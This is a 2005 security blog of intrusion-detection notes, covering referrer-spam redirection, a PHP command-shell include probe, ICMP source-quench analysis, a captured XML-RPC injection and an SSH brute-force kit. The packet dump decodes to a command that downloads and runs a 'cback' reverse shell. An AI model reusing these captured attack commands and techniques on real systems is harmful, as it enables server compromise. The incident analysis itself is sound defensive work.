Now, these jerks make requests pretty often so I didn't have to wait long. In a few minutes, the alert tripped and I checked my access logs: - - [20/Sep/2005:16:53:33 -0400] "GET
/write/2005_incidentals.html HTTP/1.1" 200 38454
"" "Mozilla/4.0 (compatible; MSIE 4.01; AOL 4.0;
Windows 98)"

I know for a fact that there are no links to my website from so I'm not even going to check. I will check, however, the capture log from snort for this transaction.

09/20-16:53:33.792657 ->
TCP TTL:49 TOS:0x20 ID:12176 IpLen:20 DgmLen:489 DF
***AP*** Seq: 0xD695DDC4  Ack: 0xC6234466  Win: 0x4470  TcpLen: 32
TCP Options (3) => NOP NOP TS: 21622047 2497204446
47 45 54 20 2F 77 72 69 74 65 2F 32 30 30 35 5F  GET /write/2005_
69 6E 63 69 64 65 6E 74 61 6C 73 2E 68 74 6D 6C  incidentals.html
20 48 54 54 50 2F 31 2E 31 0D 0A 48 6F 73 74 3A   HTTP/1.1..Host:
20 77 77 77 2E 6D 6E 69 6E 2E 6F 72 67 0D 0A 43
6F 6E 6E 65 63 74 69 6F 6E 3A 20 6B 65 65 70 2D  onnection: keep-
61 6C 69 76 65 0D 0A 55 73 65 72 2D 41 67 65 6E  alive..User-Agen
74 3A 20 4D 6F 7A 69 6C 6C 61 2F 34 2E 30 20 28  t: Mozilla/4.0 (
63 6F 6D 70 61 74 69 62 6C 65 3B 20 4D 53 49 45  compatible; MSIE
20 34 2E 30 31 3B 20 41 4F 4C 20 34 2E 30 3B 20   4.01; AOL 4.0;
57 69 6E 64 6F 77 73 20 39 38 29 0D 0A 41 63 63  Windows 98)..Acc
65 70 74 3A 20 69 6D 61 67 65 2F 67 69 66 2C 20  ept: image/gif,
69 6D 61 67 65 2F 78 2D 78 62 69 74 6D 61 70 2C  image/x-xbitmap,
20 69 6D 61 67 65 2F 6A 70 65 67 2C 20 69 6D 61   image/jpeg, ima
67 65 2F 70 6A 70 65 67 2C 20 2A 2F 2A 0D 0A 41  ge/pjpeg, */*..A
63 63 65 70 74 2D 4C 61 6E 67 75 61 67 65 3A 20  ccept-Language:
65 6E 2D 75 73 0D 0A 78 2D 61 61 61 61 61 61 61  en-us..x-aaaaaaa
61 61 61 61 61 3A 20 31 0D 0A 52 65 66 65 72 65  aaaaa: 1..Refere
72 3A 20 68 74 74 70 3A 2F 2F 77 77 77 2E 6D 79  r:
2D 68 65 61 6C 74 68 2E 75 73 2F 0D 0A 78 2D 61
61 61 61 61 61 61 61 61 61 3A 20 33 30 30 30 30  aaaaaaaaa: 30000
30 0D 0A 55 41 2D 43 50 55 3A 20 78 38 36 0D 0A  0..UA-CPU: x86..
58 2D 46 6F 72 77 61 72 64 65 64 2D 46 6F 72 3A  X-Forwarded-For:
20 36 32 2E 32 31 35 2E 31 38 37 2E 31 33 31 0D
0A 56 69 61 3A 20 31 2E 31 20 49 53 41 53 45 52  .Via: 1.1 ISASER
56 45 52 2C 20 31 2E 30 20 43 61 63 68 65 2D 45  VER, 1.0 Cache-E
6E 67 69 6E 65 33 20 28 4E 65 74 43 61 63 68 65  ngine3 (NetCache
20 4E 65 74 41 70 70 2F 35 2E 35 52 36 44 34 38   NetApp/5.5R6D48
29 0D 0A 0D 0A                                   )....

So, the signature pattern appears in the HTTP header. It's not part of any standard header (ie content-length, user-agent, etc), so you can't use a built-in mod_rewrite property (such as %{HTTP_USER_AGENT} or %{HTTP_REFERRER}) in order to write rules. But!! The x-aaaaaaaaa is a header independent of others and mod_rewrite has a "special" format for this like %{HTTP:


Since the HTTP header sytax is "\r\n

:", that should be easy to write a custom mod_rewrite rule for this.

RewriteCond %{HTTP:x-aaaaaaaaaa} [0123456789]+ [NC]

Andy once sent me a link to someone who redirected all types of particular traffic to some huge file and then watched as they ended up DoS-ing their own network. So what do you think these spammers want? A Linux kernel? Eh, why not. Here is the second part of my rule:

RewriteRule \.*$ [L]

Then, I spent a miserable amount of time (really only 20 minutes or so, but it was miserable) writing perl to inject a request that put x-aaaaaaaaaa in the header. I forgot about Paros Proxy, it has a manual request editor. You type in what you want and click send. I added the header to the existing template and the final copy looked like this:

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0;)
Accept: image/gif
x-aaaaaaaaaa: 1
Pragma: no-cache
Content-Type: application/x-www-form-urlencoded

And here is what I got back:

HTTP/1.0 302 Moved Temporarily
Date: Thu, 22 Sep 2005 01:13:48 GMT
Server: Apache
Content-Length: 249
Content-Type: text/html; charset=iso-8859-1
Connection: close

Ha! Eat dirt, jerks. The first time I did this, the "follow redirect" option was enabled within Paros and the whole app froze (its a Java app, but still - it wouldn't proceed until it was done downloading the 50 meg kernel).

I will enjoy watching further requests come in with forged referrers. After reading the aggressive network self-defense book, I would consider myself a nice guy.

For a packet capture (via Snort) of this redirection in action, see the (Complimentary Kernel Pcap).

Anti-Pinging Software & Mysterious Spam

A friend of mine works for a company that investigates certain types of online fraud. In particular, they are heavy into tracking and prosecuting sellers of prescription drugs who then distribute the goods via snail mail. Recently, right after browsing a suspicious web site, my friend began getting spam messages from them. Here is the notice, in her own words:

yo. i am checking out more sites for work. i just looked through the site. now I am getting spam email messages from them. how do they know my email address?

Reportedly, they were investigating the business associated with, which has since been taken offline. A few seconds later, this email made it's way into my friend's inbox:

Cialis $1.21
Valium $3.75
Viagra $3.33

While this is certainly suspicious, I don't believe it was anything more than a coincidence. There was no data submission during the browsing of If this was not a coincidence, she sure has me stumped on "how did they know my email address?" Theoretically, there could be some spyware involved - maybe an ActiveX object that retrieves the address configured within Outlook or Outlook Express (only my friend doesn't use either of these). So, without the machine to investigate, or a web site to check out, this is all we know.

Later, there was a request for anti-pinging software - something to stop the sites under investigation from pinging the investigators. I mentioned a firewall.

Happy Hour Friday Invitations

On September 28, I received two invitations for Friday happy hour at Malcom's. Actually, two non-existent users at my domain received this message - I only saw the error messages. The body contained one line:

If there's enough interest, we'll have a happy hour at Malcom's.

The sender was "Office Events" and the subject was "Happy Hour Friday." Below is a copy of the message headers:

Received: from ( [])
by (Postfix) with SMTP id 40C0416833
for ; Wed, 28 Sep 2005 14:07:00 -0400 (EDT)
From: "Office Events" 
To: "Ahape" 
Subject: Happy Hour Friday
Date: Wed, 28 Sep 2005 14:07:07 -0400
Reply-To: "Office Events" 
Message-ID: <>
X-Priority: 3 (Normal)
MIME-Version: 1.0
Organization: Van Networks
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-MNIN-MailScanner-Information: Please see for more information
X-MNIN-MailScanner: Clean as a baby's...
X-MNIN-MailScanner-SpamCheck: not spam, SpamAssassin (score=4.597,
required 5, BAYES_99 3.50, PRIORITY_NO_NAME 1.10)
X-MNIN-MailScanner-SpamScore: ssss

The source domian has a web site available, but it's under construction. I must wonder if this is spam that is missing some critical component (like, the point?), or if employees at are really inviting me to party with them. If the later, please order me a Corona, I'll be there at 6 PM. Thanks.

Unfaithful German Web Browsers

Everyone has their preferences, especially when it comes to web browsers. Most people pick one and stick with it, but that's a hard decision for some people. What if browsers had feelings? What if we had to worry about them cheating on us, or getting jealous?

Someone was browsing my site recently and out of the blue, their browser produced two 404 (File Not Found) errors. It appears as if the browser was searching for date or a handjob. - - [24/Sep/2005:10:32:36 -0400] "GET /write/2005_jpegtodll.html HTTP/1.1" 200 
24531 "" 
"Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.10) Gecko/20050717 Firefox/1.0.6"

[...] - - [24/Sep/2005:10:32:59 -0400] "GET /write/ip%20handjobs_dateien/upx.JPG HTTP/1.1" 
404 1307 "" "Mozilla/5.0 (Windows; U; Windows NT 5.1; 
de-DE; rv:1.7.10) Gecko/20050717 Firefox/1.0.6" - - [24/Sep/2005:10:32:59 -0400] "GET /write/ip%20handjobs_dateien/peinfo_arr3.jpg 
HTTP/1.1" 404 1307 "" "Mozilla/5.0 (Windows; U; 
Windows NT 5.1; de-DE; rv:1.7.10) Gecko/20050717 Firefox/1.0.6"

So, what probably happened here was the computer user began using IE as a browser. Firefox then became jealous and started searching for alternatives. No, seriously, I have no idea what caused these log entries. According to the browser, one of my other research papers is the referrer, however that is not true (this is the only paper in which I talk about handjobs).

CSE, ZeroBoard, & Hatorihanzo Rootkit

The following entry was found in my access logs: - - [06/Oct/2005:14:59:13 -0400] 
"GET /data/slims//bbs/include/write.php?dir= HTTP/1.0" 
404 1014 "-" "-"

Of course, this is poorly targeted attack. There is no write.php file on my web server. This attacker is likely looking for files associated with a weakness in ZeroBoard (see the SecurityFocus advisory here). However, the theoretical scenario is what makes this incident interesting. So, theoretically, if a vulnerable version of write.php was found in the requested location, my web server would have been used as a proxy to fetch cse.gif?&cmd=id from the remote web server - all on behalf of the original attacker at

At this point, the attention turns to cse.gif. GIF images are cool, but as far as I know, they can't accept parameters and apply conditionals for program control. No, this is probably not a real GIF. It turns out the cse.gif is still available on the (which happens to be running PHPBB 2.0.8) and surely enough, it's just HTML and PHP. CSE stands for Command/Safemode Exploit, or "Data Cha0s PHP Command/Safemode Exploit 4.1", as indicated in the code.

cse.gif gathers information on the host operating system, including UID, GID, Apache and PHP versions; then it echos this back to the requester. It has functions for connect back shells, portscans, sending fake emails, fetching other remote binary or source code, and last but not least - the hatorihanzo.c Linux local root exploit (attackers in SoTM 34 used this method).

image n/a

For the cse.gif, in .gz form (best for safety of my own server), download it and extract from here).

Source Quench For Reconnaissance

This is highly accidental, and I chose to look into it further since IMCP source quench messages are so rare (at least on my network). The Network Sorcery site has a nice description of source quench, with references to the RFCs. The ICMP message is type 4 code 0. This particular instance came from Here is the payload, extracted from an IDS alert database, which includes the original packet's IP header and the first several bytes:

000 : 00 00 00 00 45 00 01 3D 35 5F 40 00 27 06 A9 CD   ....E..=5_@.'...
010 : 18 02 99 A4 C0 A8 01 40 00 50 11 6E 8B 0E 82 BD   .......@.P.n....
020 : 77 E6 1E 34 50 18 19 20 19 61 00 00 48 54 54 50   w..4P.. .a..HTTP
030 : 2F 31 2E 31 20 32 30 30 20 4F 4B 0D 0A 44 61 74   /1.1 200 OK..Dat
040 : 65 3A 20 4D 6F 6E 2C 20 33 31 20 4F 63 74 20 32   e: Mon, 31 Oct 2
050 : 30 30 35 20 30 36 3A 30                           005 06:0

Judging by the contents, it appears as if the remote user was browsing material on a web site I host when the source quench was invoked. This is basically a method of telling the sender that the TCP/IP buffer is full and can't accept data at such an extreme pace. My bandwidth in the upload direction shouldn't be capable of flooding a DSL customer's line, so more likely the client is experiencing some other sort of problem - likely an application is slow to clear the buffer or it is communicating with several other servers concurrently.

First, it would be helpful to know exactly what the user was browsing when this all took place. I dove into some access logs and found the following: - - [31/Oct/2005:01:03:00 -0500] "GET /ks/albums/album16/dsc01155.jpg HTTP/1.1" 200 152827 - - [31/Oct/2005:01:03:00 -0500] "GET /albums/album40/DSC02465.jpg HTTP/1.1" 200 148125 - - [31/Oct/2005:01:03:08 -0500] "GET /ks/albums/album17/dsc01256.jpg HTTP/1.1" 200 150732 - - [31/Oct/2005:01:03:08 -0500] "GET /ks/albums/album17/dsc01247.jpg HTTP/1.1" 200 153676 - - [31/Oct/2005:01:03:13 -0500] "GET /ks/albums/album29/dsc01773.jpg HTTP/1.1" 200 150279

The last field in these entries is the amount of data sent back to the client. In this rare case, it doesn't necessarily mean that the client accepted it. In total, that is 755,626 bytes (excluding headers and ACKs) over a course of approximately thirteen seconds. I say approximately because as we learned in SoTM 34 that the times in web access logs don't always correspond 100% with the actual time of network connections according to the kernel. The entire session actually lasted from 01:02:43 to 01:03:16, but the file transfers were not requested immediately.

It isn't shown in the access logs, but the User Agent string contains data on the operating system of the client (Windows NT 5.1). If you browse to the registry on an NT box and find the TcpWindowSize key, the default value will show "0xfaf0", or 64240 in decimal. On an otherwise completely inactive system, the buffer can accept 64240 bytes before reaching it's maximum depth, at which time it will be "...forced to discard incoming datagrams due to a shortage of reassembly buffers or other resources," [Network Sorcery].

When this DSL client first connects to our web server to establish the TCP connection, the value of faf0 is evident:

10/31-01:02:43.041132 ->
TCP TTL:107 TOS:0x20 ID:42945 IpLen:20 DgmLen:48 DF
******S* Seq: 0x77E588AD  Ack: 0x0  Win: 0xFAF0  TcpLen: 28
TCP Options (4) => MSS: 1452 NOP NOP SackOK

As a quick side note (this has nothing to do with the source quench), check out my server's SYN-ACK reply:

10/31-01:02:43.041225 ->
TCP TTL:64 TOS:0x0 ID:0 IpLen:20 DgmLen:48 DF
***A**S* Seq: 0x8AA628DF  Ack: 0x77E588AE  Win: 0x16D0  TcpLen: 28
TCP Options (4) => MSS: 1460 NOP NOP SackOK

Notice anything strange? The IP ID:0 caught my eye. Although I'm not running a 2.4.x kernel, Ofir Arkin's bugtraq entry explains the phenomena well.

So back to the source quench. We know that when the client first communicated with us, it advertised a a healthy window value of faf0. This was at 1:02:43. The source quench hit my perimeter firewall at 1:03:00. Keep in mind the packet capture data and web access longs are from a different system than the firewall, however the time is perfectly synced between the two.

The access logs show two GET requests were made at 1:03:00 on the dot. This would suggest that the source quench occured on the client machine when it was presented with the bytes that compose dsc01155.jpg and/or DSC02465.jpg (they were both requested at 1:03:00). One interesting fact that isn't shown so far is that these two GET requests were actually made via individual TCP connections. That's right, the remote system initiated a connection using client port 4462 and requested dsc01155.jpg. Within the same hundredth of a second, it initiated a connection using client port 4463 and requested DSC02465.jpg.

So, exactly which data packet was responsible for invoking the source quench? It's a bit difficult to determine with the IDS alert payload above, but luckily the firewall logs all non-ping related ICMP messages.

Oct 31 01:03:00 fire kernel: IPTABLES DROP: IN=eth1 OUT= MAC=00:04:5a:7f:16:bb:00:0d:66:27:34:54:08:00 
SRC= DST= LEN=112 TOS=0x00 PREC=0x20 TTL=236 ID=22929 DF PROTO=ICMP TYPE=4 CODE=0 
[SRC= DST= LEN=317 TOS=0x00 PREC=0x00 TTL=39 ID=13663 DF PROTO=TCP SPT=80 DPT=4462 

This tells us that the responsible packet left our server with IP ID 13663 and was aimed at destination port 4462. We can easily locate ID:13663 in the packet capture. Here is the responsible packet:

10/31-01:03:00.652293 ->
TCP TTL:64 TOS:0x0 ID:13663 IpLen:20 DgmLen:317 DF
***AP*** Seq: 0x8B0E82BD  Ack: 0x77E61E34  Win: 0x1920  TcpLen: 20
48 54 54 50 2F 31 2E 31 20 32 30 30 20 4F 4B 0D  HTTP/1.1 200 OK.
0A 44 61 74 65 3A 20 4D 6F 6E 2C 20 33 31 20 4F  .Date: Mon, 31 O
63 74 20 32 30 30 35 20 30 36 3A 30 33 3A 30 30  ct 2005 06:03:00
20 47 4D 54 0D 0A 53 65 72 76 65 72 3A 20 41 70   GMT..Server: Ap
61 63 68 65 0D 0A 4C 61 73 74 2D 4D 6F 64 69 66  ache..Last-Modif
69 65 64 3A 20 54 68 75 2C 20 30 31 20 53 65 70  ied: Thu, 01 Sep
20 32 30 30 35 20 31 31 3A 31 33 3A 34 32 20 47   2005 11:13:42 G
4D 54 0D 0A 45 54 61 67 3A 20 22 31 38 35 37 35  MT..ETag: "18575
2D 32 34 32 39 64 2D 66 30 31 30 65 35 38 30 22  -2429d-f010e580"
0D 0A 41 63 63 65 70 74 2D 52 61 6E 67 65 73 3A  ..Accept-Ranges:
20 62 79 74 65 73 0D 0A 43 6F 6E 74 65 6E 74 2D   bytes..Content-
4C 65 6E 67 74 68 3A 20 31 34 38 31 32 35 0D 0A  Length: 148125..
4B 65 65 70 2D 41 6C 69 76 65 3A 20 74 69 6D 65  Keep-Alive: time
6F 75 74 3D 31 35 2C 20 6D 61 78 3D 31 30 30 0D  out=15, max=100.
0A 43 6F 6E 6E 65 63 74 69 6F 6E 3A 20 4B 65 65  .Connection: Kee
70 2D 41 6C 69 76 65 0D 0A 43 6F 6E 74 65 6E 74  p-Alive..Content
2D 54 79 70 65 3A 20 69 6D 61 67 65 2F 6A 70 65  -Type: image/jpe
67 0D 0A 0D 0A                                   g....

This can be cross-referenced with the payload of the IDS alert. Remember the ICMP source quench returns the IP header and first 44 bytes of the original packet in it's message. The ASCII server response is pretty clear. Although we don't have the transport layer header which would show the port numbers, we do have some good information in the IP header, such as the IP ID. If you look carefully at the first line in the IDS payload and find the field which corresponds to the IP ID, it should equal 13663:

000 : 00 00 00 00 45 00 01 3D 35 5F 40 00 27 06 A9 CD

The IP header starts at the "45" byte. The IP ID is 2 bytes long and follows shortly thereafter - "35 3F". The 0x353F is 13663 in decimal.

To summarize, we now know the exact date and time when the client requested a particular file; and what the initial window size was. We can distinquish the entry this request made in the web server's access log from the other four entries because the ICMP "bounce" payload contained enough information to track the ports and IP ID numbers. This in turn gave us the ability to find the full 317 bytes of the original packet (of which we only had 44 from the bounce).

The strange thing is that, well, it's only 317 bytes. Since when does 317 bytes not fit in a buffer 64240 bytes deep? Most likely the client is communicating with several other servers at the same time. The 317 byte packet wasn't responsible for somehow filling the whole buffer, it's just the one that threw it over the edge. However, if you read the Network Sorcery URL above, the RFC states that source quench messages may be sent not only when the buffer has reached maximum capacity, but when it is nearing maximum capacity.

So what does this all mean for security? Is my network any less secure because it was invited to passively participate in a temporary, miniscule denial of service against a client system? Is the remote network any less secure because it conformed to RFC protocol and asked nicely for the sending TCP stack to take it easy? The answer has yet to be discussed, but you may have seen it in the logs above.

When the client system returns the IP header of the original packet in it's source quench message, it exposes it's internal IP address. This can be seen in the second line of the IDS capture:

010 : 18 02 99 A4 C0 A8 01 40 00 50 11 6E 8B 0E 82 BD   .......@.P.n....

Hex fanatics would immediately recognize the C0 A8 value, which is 192 and 168, respectively. It's the first two octets of the client machine's internal IP address, which in full is (this can also be seen in the firewall log above). Although it was stated earlier that this payload contains the original packet's IP header, the original packet did not leave my network addressed to With this information we can probably guess that the client machine is behind some type of NAT device, configured with external interface IP of and an inside network in the 192.168.1.x range.

So, a critical information leak? No, especially not to the home DSL user. But, if we were able to direct client systems to compromised servers (via browser redirection, URLs in email, etc) capable of inducing source quence messages, then the attacker could learn quite a bit about a target's network layout. It would appear to the target as if nothing out of the ordinary happened, there would be no traces of nmap and there would be no incoming scans at all.

Finally, the remote system exhibited some additional strange behavior about 15 seconds later. This is quite a while after the source quench episode and as you can see in the first packet below - the window is back to a healthy faf0 (but not for long).

10/31-01:03:15.522337 ->
TCP TTL:107 TOS:0x20 ID:46776 IpLen:20 DgmLen:40 DF
***A**** Seq: 0x77E58ABE  Ack: 0x8AAA009F  Win: 0xFAF0  TcpLen: 20


10/31-01:03:15.605414 ->
TCP TTL:107 TOS:0x20 ID:46785 IpLen:20 DgmLen:40 DF
*****R** Seq: 0x77E58ABE  Ack: 0x8B13C422  Win: 0x0  TcpLen: 20


10/31-01:03:15.607902 ->
TCP TTL:107 TOS:0x20 ID:46788 IpLen:20 DgmLen:40 DF
*****R** Seq: 0x77E62044  Ack: 0x8B13C422  Win: 0x0  TcpLen: 20


10/31-01:03:15.614986 ->
TCP TTL:107 TOS:0x20 ID:46813 IpLen:20 DgmLen:40
*****R** Seq: 0x77E62044  Ack: 0x77E62044  Win: 0x0  TcpLen: 20


10/31-01:03:15.661039 ->
TCP TTL:107 TOS:0x20 ID:46817 IpLen:20 DgmLen:40
*****R** Seq: 0x77E62044  Ack: 0x77E62044  Win: 0x0  TcpLen: 20

All of the sudden the window hits zero and the remote system goes on a rampage of connection reset transmissions (there is an addition 15 or so not shown here). We could probably raise a few theories here, but in the interest of moving on, I'll let it go for now.

Hello and Goodbye Pings From Hallmark

There is a strange correlation between receiving an e-card from and receiving two 1,500 byte echo requests full of 0x00 from Hallmark's mail servers. The thought crossed my mind - maybe this is a good idea: ping the address of a remote mail server before initiating a TCP connection. That way, if the server doesn't reply, you don't waste your time trying to deliver a message to an offline machine. Then it hit me - no, this is a terrible idea.

First, administrators should know by now that when an address doesn't echo reply, it isn't necessarily offline. Second, if an administrator was so concerned about wasting resources with a connection attempt, would he reasonably go through the trouble of coding up an MTA to take such steps...and then execute the echo request with a 1,500 byte packet? I would think even if this crazy scenario was true, a normal sized echo request would work just fine. Then it hit me again - the Hallmark servers ping me both before *and* after the email delivery. If the first ping is to determine if an address is available, there would be no need for a second ping *after* a successful TCP connection.

Nonetheless, this is exactly what we observe. At 13:33:43, (, sends an ICMP type 8 code 0 with 1,472 0x00 bytes in the payload. We get 1,472 from 1,500 when the 20 byte IP header and 8 byte ICMP header are subtracted.

Oct 31 13:33:43 fire snort: [1:499:5] ICMP Large ICMP Packet [Classification:
Potentially Bad Traffic] [Priority: 2]: {ICMP} ->

There is no need to show the full packet capture here, since like I said, it's 1,472 0x00 bytes. One peice of information, however is useful for determining time order relationship (besides the actual time stamp). The IP ID of this first ping is 37945. The second ping from Hallmark's mail server came 56 seconds later, at 13:34:39, and was accompanied by IP ID 64899:

Oct 31 13:34:39 fire snort: [1:499:5] ICMP Large ICMP Packet [Classification:
Potentially Bad Traffic] [Priority: 2]: {ICMP} ->

If the Hallmark system is like most, the IP ID field is incremented by 1 with each outgoing IP packet. We could then assume that in a matter of 56 seconds, this machine sent (64899-37945=) 26954 packets. As previously noted, this can tie into the delivery of an email from Hallmark notifying me of an e-card:

Oct 31 13:33:43 spree postfix/smtpd[20055]: connect from[]
Oct 31 13:33:43 spree postfix/smtpd[20055]: EBC262135A:[]
Oct 31 13:33:44 spree postfix/smtpd[20055]: disconnect from[]

These entries in the mail log show the exact same time (13:33:43) as the first ping. This gives us no reliable indication on whether the first ping came before or after the TCP SMTP connection. It's obvious, per a difference of 56 seconds, that the second ping came after the TCP SMTP connection. As always, we can look to the packet capture to fill in the void. Here is the final packet in connection initiation from the Hallmark server (this is the 3rd packet involved in the TCP 3-way handshake - somehow the first SYN mysteriously disappeared from the capture):

10/31-13:33:43.493735 ->
TCP TTL:41 TOS:0x20 ID:37954 IpLen:20 DgmLen:40
***A**** Seq: 0x6FEA6F1  Ack: 0x9EF60A19  Win: 0x40B0  TcpLen: 20

The IP ID value in this header is 9 greater than the IP ID in the first ping. That would reliably suggest that the first ping did in fact occur before the TCP SMTP connection was attempted. Twenty-eight packets later, once the SMTP session was complete and e-mail message delivered, the IP ID of the Hallmark server was up to 38313. As described in the Source Quench observation, the Hallmark machine was likely communicating with multiple other Internet hosts concurrently. That would explain why only 56 seconds later, the ID is all the way up to 64899. For a quick fact, the IP ID field in the IP header is 16 bits in length, making the maximum value 65,535. Once this point is reached, it wraps back around to 0 and starts again.

As an addendum, the 1,500 byte 0x00 echo requests seem to be a fad lately. On Friday, November 4, there were 84 pings of this size and character from 4 unique source addresses:,,, and Respectively, these resolve to,,, and A bit of investigation shows that these are all FTP servers belonging to the Academic Computer Club of Umea University, Sweden.

I plugged caesar into a web browser and was welcomed by the FTP directories listing. A few seconds later my IDS was going off due to a large incoming ICMP echo request - the source was caesar. To reproduce, I ran a packet capture on the border gateway and accessed the site again:

# /usr/sbin/tcpdump -i eth1 net mask
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth1, link-type EN10MB (Ethernet), capture size 96 bytes

21:48:55.395615 IP > 
S 298027274:298027274(0) win 5840 

21:48:55.511862 IP > 
S 4239413183:4239413183(0) ack 298027275 win 65535 

21:48:55.511934 IP > 
. ack 1 win 5840 

21:48:55.512656 IP > 
P 1:545(544) ack 1 win 5840 

21:48:55.512851 IP > icmp 1480: echo request seq 0

Apparently the servers ping any host that initiate connections. But, as far as I know, I didn't visit any of the FTP servers on November the 4th - so what caused the first 84? Interestingly, points to the same IP as - and I updated Firefox on the 4th. So that explains it.

We still don't know the reason these pings are sent, and furthermore why they have to be 1,500 bytes instead of just normal pings. It also doesn't explain the Hallmark incident. Recall the Hallmark pings were sent before my e-card notification even arrived. I would not have been visiting the web site looking for an e-card that had not yet been issued. That's all for now.

XML RPC Scans, Defenses, And Logfiles

This is an edited reprint of an email sent to ISC on October 10th. Apparently at that time, the scans weren't widespread enough to be worrysome. The attacks are now so popular (November 5) that it's been the diary highlight for the past two days: If exploited, the server would fetch and then connect back to

The alerts were caught by Bleeding Snort SID 2002158 and reported via SQL Swatchless:

----------------------------- Original Message ----------------------------
Subject: {Snort Alert} Spree [1] BLEEDING-EDGE EXPLOIT XML-RPC for PHP
Remote Code Injection [Classification: Web Application Attack]
Date:    Mon, October 10, 2005 10:07 pm

------[ Alert

Oct 10 21:57:45 spree snort[14629]: [1:2002158:2] BLEEDING-EDGE EXPLOIT
XML-RPC for PHP Remote Code Injection [Classification: Web Application
Attack] [Priority: 1]: {TCP} ->

------[ Rule

(msg:"BLEEDING-EDGE EXPLOIT XML-RPC for PHP Remote Code Injection";
flow:established,to_server; content:"POST"; depth:4; nocase;
uricontent:"xmlrpc.php"; content:"methodCall"; nocase;
reference:cve,2005-1921; classtype: web-application-attack; sid:2002158;

------[ Packet (1/1)

50 4F 53 54 20 2F 62 32 65 76 6F 2F 78 6D 6C 73         POST /b2evo/xmls
72 76 2F 78 6D 6C 72 70 63 2E 70 68 70 20 48 54         rv/xmlrpc.php HT
54 50 2F 31 2E 31 0A 48 6F 73 74 3A 20 32 34 2E         TP/1.1.Host: 24.
32 2E 31 35 33 2E 31 36 34 0A 43 6F 6E 74 65 6E         2.153.164.Conten
74 2D 54 79 70 65 3A 20 74 65 78 74 2F 78 6D 6C         t-Type: text/xml
0A 43 6F 6E 74 65 6E 74 2D 4C 65 6E 67 74 68 3A         .Content-Length:
32 36 39 0A 0A 3C 3F 78 6D 6C 20 76 65 72 73 69         269..test.method
3C 6E 61 6D 65 3E 27 2C 27 27 29 29 3B 65 63 68         ',''));ech
6F 20 27 5F 62 65 67 69 6E 5F 27 3B 65 63 68 6F         o '_begin_';echo
20 60 63 64 20 2F 74 6D 70 3B 77 67 65 74 20 32          `cd /tmp;wget 2
31 37 2E 31 36 30 2E 32 35 35 2E 34 34 2F 63 62
61 63 6B 3B 63 68 6D 6F 64 20 2B 78 20 63 62 61         ack;chmod +x cba
63 6B 3B 2E 2F 63 62 61 63 6B 20 32 31 36 2E 35         ck;./cback 216.5
35 2E 31 35 39 2E 35 32 20 38 30 38 30 60 3B 65         5.159.52 8080`;e
63 68 6F 20 27 5F 65 6E 64 5F 27 3B 65 78 69 74         cho '_end_';exit
3B 2F 2A 3C 2F 6E 61 6D 65 3E 3C 2F 76 61 6C 75         ;/*

------[ Details (1/1)

TCP Flags:  ACK  PSH

------[ DNS

IP (

------[ IANA Whois (Source)

Country: CA
Netname: ANDARA-BLK-2
Descr: Andara High Speed Internet c/o Halifax Cablevision LTD.
Status: Direct Allocation
Source: ARIN
Server: ARIN
Inetnum: -

The attacker also probed the following locations (you'll see slight variations between here and the SANS diary): - - [10/Oct/2005:21:56:44 -0400] "POST /xmlrpc.php HTTP/1.1" 500 1027 "-" "-" - - [10/Oct/2005:21:56:49 -0400] "POST /xmlrpc/xmlrpc.php HTTP/1.1" 500 1027 "-" "-" - - [10/Oct/2005:21:56:54 -0400] "POST /xmlsrv/xmlrpc.php HTTP/1.1" 500 1027 "-" "-" - - [10/Oct/2005:21:56:59 -0400] "POST /services/xmlrpc.php HTTP/1.1" 500 1027 "-" "-" - - [10/Oct/2005:21:57:04 -0400] "POST /blog/xmlrpc.php HTTP/1.1" 500 1027 "-" "-" - - [10/Oct/2005:21:57:09 -0400] "POST /drupal/xmlrpc.php HTTP/1.1" 500 1027 "-" "-" - - [10/Oct/2005:21:57:14 -0400] "POST /community/xmlrpc.php HTTP/1.1" 500 1027 "-" "-" - - [10/Oct/2005:21:57:20 -0400] "POST /blogs/xmlrpc.php HTTP/1.1" 500 1027 "-" "-" - - [10/Oct/2005:21:57:25 -0400] "POST /blogs/xmlsrv/xmlrpc.php HTTP/1.1" 500 1027 "-" "-" - - [10/Oct/2005:21:57:30 -0400] "POST /blog/xmlsrv/xmlrpc.php HTTP/1.1" 500 1027 "-" "-" - - [10/Oct/2005:21:57:35 -0400] "POST /blogtest/xmlsrv/xmlrpc.php HTTP/1.1" 500 1027 "-" "-" - - [10/Oct/2005:21:57:40 -0400] "POST /b2/xmlsrv/xmlrpc.php HTTP/1.1" 500 1027 "-" "-" - - [10/Oct/2005:21:57:45 -0400] "POST /b2evo/xmlsrv/xmlrpc.php HTTP/1.1" 500 1027 "-" "-" - - [10/Oct/2005:21:57:50 -0400] "POST /wordpress/xmlrpc.php HTTP/1.1" 500 1027 "-" "-"

All requests were responded to with an HTTP 500 error (Server Internal Error), however my server has zero vulnerable xmlrpc.php scripts available. The 500 errors were produced by mod_security with the following rule active:

SecFilterSelective HTTP_Content-Type "!(^$|^application/x-www-form-urlencoded$|^multipart/form-data)"

To see the full POST payload and server replies as a 145-packet capture converted to ASCII, view the XML RPC Snort Capture.

Team2 Brute Force SSH Kit

Someone wrote to Full Disclosure after finding team2.tgz on his Red Hat web server. More than likely it got there as a result of some vulnerable web application. The item extracted into several individual files:

# tar -xvzf team2.tgz

Out of the five files, three were ELF executables and the other two were plain text documents:

# file *
pass_file: ASCII C++ program text
pico:      ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.0.0, dynamically linked (uses shared libs), stripped
pscan2:    ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.2.5, dynamically linked (uses shared libs), not stripped
ssh-scan:  ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.0.0, statically linked, stripped
start:     Bourne-Again shell script text

It only makes sense that pass_file contains 95415 username/password combinations. For example, here are a few from the end of the list:

# wc -l pass_file; tail -n 5 pass_file
95415 pass_file
root loginroot
root amd
root ibm
root idle

It would also make sense that attackers are so lazy, they write scripts for their scripts so they don't forget which order to execute them in. Of course, this could also be construed as smart, in the case that they're looking to save time. The bash script named start contains enough data to guess what the other ELF files do, without doing any dynamic or static analysis on the executables themselves:

# cat start
if [ $# != 1 ]; then
        echo " usage: $0 [b class]"

echo "### FeReA Ca VeNi SSH22 Scanner  TEAM3 !  ###"
